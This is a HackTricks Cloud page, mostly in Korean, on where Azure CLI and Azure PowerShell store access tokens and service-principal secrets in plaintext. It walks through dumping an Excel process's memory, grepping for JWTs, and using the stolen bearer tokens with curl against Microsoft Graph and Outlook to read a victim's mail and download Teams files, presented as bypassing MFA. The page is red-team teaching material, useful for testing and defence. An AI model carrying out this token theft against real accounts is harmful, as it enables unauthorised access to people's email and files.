Az - Local Cloud Credentials
Reading time: 3 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Local Token Storage and Security Considerations
Azure CLI (Command-Line Interface)
토큰과 민감한 데이터는 Azure CLI에 의해 로컬에 저장되며, 보안 우려를 불러일으킵니다:
- Access Tokens:
C:\Users\<username>\.Azure
에 위치한accessTokens.json
에 평문으로 저장됩니다. - Subscription Information: 같은 디렉토리에 있는
azureProfile.json
은 구독 세부 정보를 보유합니다. - Log Files:
.azure
내의ErrorRecords
폴더는 다음과 같은 노출된 자격 증명이 포함된 로그를 포함할 수 있습니다:
- 자격 증명이 포함된 실행된 명령.
- 토큰을 사용하여 접근한 URL, 민감한 정보를 드러낼 수 있습니다.
Azure PowerShell
Azure PowerShell 또한 로컬에서 접근할 수 있는 토큰과 민감한 데이터를 저장합니다:
- Access Tokens:
C:\Users\<username>\.Azure
에 위치한TokenCache.dat
에 평문으로 저장됩니다. - Service Principal Secrets: 이는
AzureRmContext.json
에 암호화되지 않은 채로 저장됩니다. - Token Saving Feature: 사용자는
Save-AzContext
명령을 사용하여 토큰을 지속적으로 저장할 수 있으며, 이는 무단 접근을 방지하기 위해 신중하게 사용해야 합니다.
Automatic Tools to find them
Tokens in memory
이 비디오에서 설명된 바와 같이, 클라우드와 동기화된 일부 Microsoft 소프트웨어(Excel, Teams...)는 메모리에 평문으로 액세스 토큰을 저장할 수 있습니다. 따라서 프로세스의 메모리를 덤프하고 JWT 토큰을 검색하는 것만으로도 MFA를 우회하여 피해자의 여러 리소스에 접근할 수 있습니다.
단계:
- 좋아하는 도구를 사용하여 EntraID 사용자와 동기화된 Excel 프로세스를 덤프합니다.
string excel.dmp | grep 'eyJ0'
를 실행하고 출력에서 여러 토큰을 찾습니다.- 가장 관심 있는 토큰을 찾아 도구를 실행합니다:
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
이러한 종류의 액세스 토큰은 다른 프로세스 내에서도 발견될 수 있습니다.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.